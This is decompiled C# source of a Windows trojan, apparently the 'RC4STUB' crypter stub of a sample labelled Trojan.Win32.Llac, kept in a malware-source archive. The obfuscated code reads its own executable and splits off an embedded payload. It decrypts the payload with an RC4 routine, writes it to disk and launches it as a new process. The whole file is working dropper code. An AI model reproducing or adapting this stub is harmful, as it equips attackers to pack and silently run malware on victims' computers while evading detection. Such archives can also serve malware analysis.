MalwareSourceCode/MSIL/Trojan/Win32/L/Trojan.Win32.Llac.coak-8789f9be2212d2703a374fd76b1c014be160523209fd6790cd7b4f20f0f5fe91/_0004/_0001.cs
2022-08-18 06:28:56 -05:00

211 lines
6.5 KiB
C#
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

// Decompiled with JetBrains decompiler
// Type: .
// Assembly: RC4STUB, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 160606E6-36B6-4FBA-AFEC-6A83B6EA2ADB
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.Llac.coak-8789f9be2212d2703a374fd76b1c014be160523209fd6790cd7b4f20f0f5fe91.exe
using \u0002;
using \u0004;
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.Runtime.InteropServices;
using System.Text;
using System.Windows.Forms;
namespace \u0004
{
internal class \u0001 : Form
{
private IContainer \u0001;
[DebuggerNonUserCode]
public \u0001()
{
\u0080\u0002 obj1 = \u0080\u0002.\u0018\u0003;
\u0001 obj2 = this;
// ISSUE: virtual method pointer
EventHandler eventHandler = new EventHandler((object) obj2, __vmethodptr(obj2, \u0002));
obj1((object) this, eventHandler);
this.\u0002();
}
[DebuggerNonUserCode]
protected override void Dispose([In] bool obj0)
{
try
{
if (!obj0 || this.\u0001 == null)
return;
\u001E.\u007E\u0096((object) this.\u0001);
}
finally
{
\u000E\u0002.\u001A\u0003((object) this, obj0);
}
}
private void \u0002()
{
\u001E.\u007E\u0012\u0003((object) this);
\u0098.\u007E\u0013\u0003((object) this, new SizeF(6f, 13f));
\u0012\u0002.\u007E\u0014\u0003((object) this, AutoScaleMode.Font);
\u0018\u0002.\u007E\u0016\u0003((object) this, new Size(284, 262));
\u001C.\u007E\u0010\u0003((object) this, \u0001.\u0002(166));
\u001C.\u007E\u0017\u0003((object) this, \u0001.\u0002(166));
\u000E\u0002.\u007E\u0011\u0003((object) this, false);
}
public static string \u0002([In] string obj0, [In] string obj1)
{
int index1 = 0;
int index2 = 0;
StringBuilder stringBuilder1 = new StringBuilder();
string empty = string.Empty;
int[] numArray1 = new int[257];
int[] numArray2 = new int[257];
int num1 = \u0017\u0002.\u007E\u009A((object) obj1);
int index3 = 0;
while (index3 <= (int) byte.MaxValue)
{
char ch = \u001B.\u007E\u0099((object) \u009F.\u007E\u009B((object) obj1, index3 % num1, 1))[0];
numArray2[index3] = \u0081.\u0084(ch);
numArray1[index3] = index3;
int num2 = \u0017.\u0013\u0002(\u0011\u0002.\u0019\u0002(ref index3), checked (index3 - 1));
}
int index4 = 0;
int index5 = 0;
while (index5 <= (int) byte.MaxValue)
{
index4 = checked (index4 + numArray1[index5] + numArray2[index5]) % 256;
int num3 = numArray1[index5];
numArray1[index5] = numArray1[index4];
numArray1[index4] = num3;
int num4 = \u0017.\u0013\u0002(\u0011\u0002.\u0019\u0002(ref index5), checked (index5 - 1));
}
int num5 = 1;
while (num5 <= \u0017\u0002.\u007E\u009A((object) obj0))
{
index1 = checked (index1 + 1) % 256;
index2 = checked (index2 + numArray1[index1]) % 256;
int num6 = numArray1[index1];
numArray1[index1] = numArray1[index2];
numArray1[index2] = num6;
int num7 = numArray1[checked (numArray1[index1] + numArray1[index2]) % 256];
char ch = \u001B.\u007E\u0099((object) \u009F.\u007E\u009B((object) obj0, checked (num5 - 1), 1))[0];
int num8 = \u0081.\u0084(ch) ^ num7;
StringBuilder stringBuilder2 = \u0016\u0002.\u007E\u0002\u0002((object) stringBuilder1, \u009A.\u0086(num8));
int num9 = \u0017.\u0013\u0002(\u0011\u0002.\u0019\u0002(ref num5), checked (num5 - 1));
}
string str = \u008A.\u007E\u009F((object) stringBuilder1);
\u009C.\u007E\u0001\u0002((object) stringBuilder1, 0);
return str;
}
private void \u0002([In] object obj0, [In] EventArgs obj1)
{
label_0:
int num1;
int num2;
try
{
\u0015\u0002.\u0081();
num2 = -2;
label_1:
int num3 = 2;
string str1 = \u0015.\u009B\u0002();
label_2:
num3 = 3;
\u001A.\u001A(1, \u0015.\u0008\u0003(), OpenMode.Binary, OpenAccess.Read, OpenShare.Shared, -1);
label_3:
num3 = 4;
string str2 = \u008E.\u0087(checked ((int) \u001F\u0002.\u001E(1)));
label_4:
num3 = 5;
\u0094.\u001C(1, ref str2, -1L, false);
label_5:
num3 = 6;
int[] numArray1 = new int[1]{ 1 };
\u007F\u0002.\u001B(numArray1);
label_6:
num3 = 7;
string[] strArray = \u007F.\u0088(str2, \u0001.\u0002(175), -1, CompareMethod.Binary);
label_7:
num3 = 8;
string str3 = \u0001.\u0002(strArray[1], \u0001.\u0002(208));
label_8:
num3 = 9;
\u001A.\u001A(5, \u0018.\u009C(str1, \u0001.\u0002(350)), OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default, -1);
label_9:
num3 = 10;
\u008B.\u001D(5, str3, -1L, false);
label_10:
num3 = 11;
int[] numArray2 = new int[1]{ 5 };
\u007F\u0002.\u001B(numArray2);
label_11:
num3 = 12;
Process process = \u0019\u0002.\u007F\u0003(\u0018.\u009C(str1, \u0001.\u0002(350)));
label_12:
num3 = 13;
\u001E.\u007E\u0019\u0003((object) this);
\u0015\u0002.\u0082();
goto label_19;
label_14:
num1 = num3;
switch (num2 > -2 ? num2 : 1)
{
case 1:
int num4 = num1 + 1;
num1 = 0;
switch (num4)
{
case 1:
goto label_0;
case 2:
goto label_1;
case 3:
goto label_2;
case 4:
goto label_3;
case 5:
goto label_4;
case 6:
goto label_5;
case 7:
goto label_6;
case 8:
goto label_7;
case 9:
goto label_8;
case 10:
goto label_9;
case 11:
goto label_10;
case 12:
goto label_11;
case 13:
goto label_12;
case 14:
goto label_19;
}
break;
}
}
catch (Exception ex) when (ex is Exception & num2 != 0 & num1 == 0)
{
ProjectData.SetProjectError(ex);
goto label_14;
}
throw \u009B.\u007F(-2146828237);
label_19:
if (num1 == 0)
return;
\u0015\u0002.\u0081();
}
}
}